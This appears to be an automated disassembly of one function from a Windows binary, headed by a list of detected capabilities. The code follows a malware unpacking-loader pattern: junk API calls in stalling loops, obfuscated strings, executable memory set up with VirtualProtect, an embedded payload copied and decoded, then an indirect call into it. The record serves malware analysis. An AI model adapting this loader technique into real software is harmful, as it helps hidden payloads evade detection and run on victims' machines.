Function at 0x401215
Capabilities:
Allocate or change rwx memory
Create directory
Delete directory
Execute shellcode via indirect call
Get disk information
Get geographical location
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1820
call fcn.0040b1f0
push ebx
push esi
xor esi, esi
cmp dword [0x2d31014], 0x93
push edi
jne 0x40129b
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.ole32.dll_CoGetPSClsid]
push esi
lea eax, [ebp - 0x1020]
push eax
push esi
call sub.KERNEL32.dll_VerLanguageNameW
push esi
call fcn.00401844
push esi
push 0x42e6e7
push 0x436c30
call fcn.004018f6
push esi
call fcn.00401b28
push esi
push esi
call fcn.00401b57
add esp, 0x1c
call fcn.00401207
push esi
call fcn.00401edc
pop ecx
push esi
call fcn.0040218c
add dword [0x2d31014], 0x1134b
push dword [0x2d31014]
mov eax, dword [0x434f00]
push esi
mov dword [0x2d31a78], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x2d31014]
mov dword [0x2d30f6c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.USER32.dll_CharUpperBuffW]
mov ebx, 0x29156e
push esi
lea eax, [ebp - 0x1020]
push eax
call edi
dec ebx
jne 0x4012df
cmp dword [0x2d31014], esi
jbe 0x40133f
mov eax, dword [0x2d31a78]
mov al, byte [eax + ebx + 0x1134b]
mov ecx, dword [0x2d30f6c]
mov byte [ecx + ebx], al
cmp dword [0x2d31014], 0x490
jne 0x401336
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x820]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
inc ebx
cmp ebx, dword [0x2d31014]
jb 0x4012f4
xor ebx, ebx
mov eax, dword [0x2d31014]
add eax, ebx
cmp eax, 0x8d
jne 0x4013ab
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
lea eax, [ebp - 0x1820]
push eax
call edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0xc20]
push eax
push str.pehipayafenopidibegesilalacow_zemikamajimara_nikihilenareki_xesadaviheralizilivehoxutegugek_malejiyaliv
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push str.tiyamiwojemuya_vibahuzivacenewojuhiharomexufut_dabotay_lafibulebabumuligavolav
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
inc ebx
cmp ebx, 0x38681
jl 0x401341
mov eax, dword [0x2d31014]
mov ecx, dword [0x2d30f6c]
shr eax, 3
cmp eax, esi
jbe 0x4013f9
mov edi, ecx
mov ebx, eax
cmp dword [0x2d31014], 0x959
jne 0x4013ed
push esi
lea eax, [ebp - 0x1820]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FreeUserPhysicalPages]
push edi
call fcn.0040107e
add edi, 8
dec ebx
jne 0x4013ca
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x62
jne 0x40141a
mov dword [ebp - 8], esi
add dword [ebp - 8], 0
mov eax, dword [ebp - 8]
add dword [0x2d30f6c], eax
inc edi
cmp edi, 0x674db
jl 0x4013fb
push 0x7b
pop edi
cmp dword [0x2d31014], 0x86
jne 0x401477
push esi
lea eax, [ebp - 0x1820]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push esi
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
lea eax, [ebp - 0xc20]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x820]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
dec edi
jne 0x401426
call fcn.00401000
call dword [0x2d30f6c]
pop edi
pop esi
pop ebx
leave
ret